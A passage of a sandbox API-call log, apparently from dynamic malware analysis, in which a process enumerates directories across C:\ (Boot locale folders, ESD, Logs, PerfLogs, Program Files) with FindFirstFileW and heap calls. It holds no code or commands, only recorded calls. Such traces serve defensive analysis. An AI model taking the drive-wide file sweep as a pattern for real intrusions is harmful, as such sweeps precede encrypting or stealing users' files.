0xc10000 [0213.065] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.065] GetProcessHeap () returned 0xc10000 [0213.065] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0213.190] GetProcessHeap () returned 0xc10000 [0213.190] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.190] GetProcessHeap () returned 0xc10000 [0213.190] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.190] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0213.191] GetProcessHeap () returned 0xc10000 [0213.191] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.191] GetProcessHeap () returned 0xc10000 [0213.191] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.192] GetProcessHeap () returned 0xc10000 [0213.192] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.193] GetProcessHeap () returned 0xc10000 [0213.193] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lt-LT\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c28 [0213.193] GetProcessHeap () returned 0xc10000 [0213.193] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.193] GetProcessHeap () returned 0xc10000 [0213.193] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\lv-LV\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0213.194] GetProcessHeap () returned 0xc10000 [0213.194] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.194] GetProcessHeap () returned 0xc10000 [0213.194] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.194] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.195] GetProcessHeap () returned 0xc10000 [0213.195] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.195] GetProcessHeap () returned 0xc10000 [0213.195] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.195] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0213.196] GetProcessHeap () returned 0xc10000 [0213.196] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.196] GetProcessHeap () returned 0xc10000 [0213.196] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.211] GetProcessHeap () returned 0xc10000 [0213.211] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.211] GetProcessHeap () returned 0xc10000 [0213.211] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0213.212] GetProcessHeap () returned 0xc10000 [0213.212] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.212] GetProcessHeap () returned 0xc10000 [0213.213] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0213.218] GetProcessHeap () returned 0xc10000 [0213.218] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.218] GetProcessHeap () returned 0xc10000 [0213.218] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0213.218] GetProcessHeap () returned 0xc10000 [0213.218] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.218] GetProcessHeap () returned 0xc10000 [0213.218] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0213.220] GetProcessHeap () returned 0xc10000 [0213.220] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0213.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0213.220] GetProcessHeap () returned 0xc10000 [0213.220] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0213.221] GetProcessHeap () returned 0xc10000 [0213.221] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.221] GetProcessHeap () returned 0xc10000 [0213.222] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.222] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ro-RO\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0213.223] GetProcessHeap () returned 0xc10000 [0213.223] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.223] GetProcessHeap () returned 0xc10000 [0213.223] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.224] GetProcessHeap () returned 0xc10000 [0213.224] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.224] GetProcessHeap () returned 0xc10000 [0213.224] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sk-SK\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0213.224] GetProcessHeap () returned 0xc10000 [0213.224] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.224] GetProcessHeap () returned 0xc10000 [0213.224] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sl-SI\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0213.225] GetProcessHeap () returned 0xc10000 [0213.225] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.225] GetProcessHeap () returned 0xc10000 [0213.225] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0213.226] GetProcessHeap () returned 0xc10000 [0213.226] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.226] GetProcessHeap () returned 0xc10000 [0213.226] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.227] GetProcessHeap () returned 0xc10000 [0213.227] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.227] GetProcessHeap () returned 0xc10000 [0213.227] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0213.228] GetProcessHeap () returned 0xc10000 [0213.228] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.228] GetProcessHeap () returned 0xc10000 [0213.228] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.228] GetProcessHeap () returned 0xc10000 [0213.228] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.228] GetProcessHeap () returned 0xc10000 [0213.228] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\uk-UA\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0213.231] GetProcessHeap () returned 0xc10000 [0213.231] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.231] GetProcessHeap () returned 0xc10000 [0213.231] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0213.232] GetProcessHeap () returned 0xc10000 [0213.232] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.232] GetProcessHeap () returned 0xc10000 [0213.232] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0213.232] GetProcessHeap () returned 0xc10000 [0213.232] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.232] GetProcessHeap () returned 0xc10000 [0213.232] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.233] GetProcessHeap () returned 0xc10000 [0213.233] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.233] GetProcessHeap () returned 0xc10000 [0213.233] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcd9de8 | out: hHeap=0xc10000) returned 1 [0213.234] GetProcessHeap () returned 0xc10000 [0213.234] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcd9de8 [0213.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ESD\\*", lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.239] GetProcessHeap () returned 0xc10000 [0213.239] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcd9de8 | out: hHeap=0xc10000) returned 1 [0213.239] GetProcessHeap () returned 0xc10000 [0213.239] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcd9de8 [0213.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Logs\\*", lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0213.637] GetProcessHeap () returned 0xc10000 [0213.637] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcd9de8 | out: hHeap=0xc10000) returned 1 [0213.637] GetProcessHeap () returned 0xc10000 [0213.637] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcd9de8 [0213.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows PowerShell.evtx", cAlternateFileName="咊8Â跐Ë\x80")) returned 0xffffffff [0213.639] GetProcessHeap () returned 0xc10000 [0213.639] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcd9de8 | out: hHeap=0xc10000) returned 1 [0213.639] GetProcessHeap () returned 0xc10000 [0213.639] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcd9de8 [0213.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf0c0ff31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0c0ff31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0213.642] GetProcessHeap () returned 0xc10000 [0213.642] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, 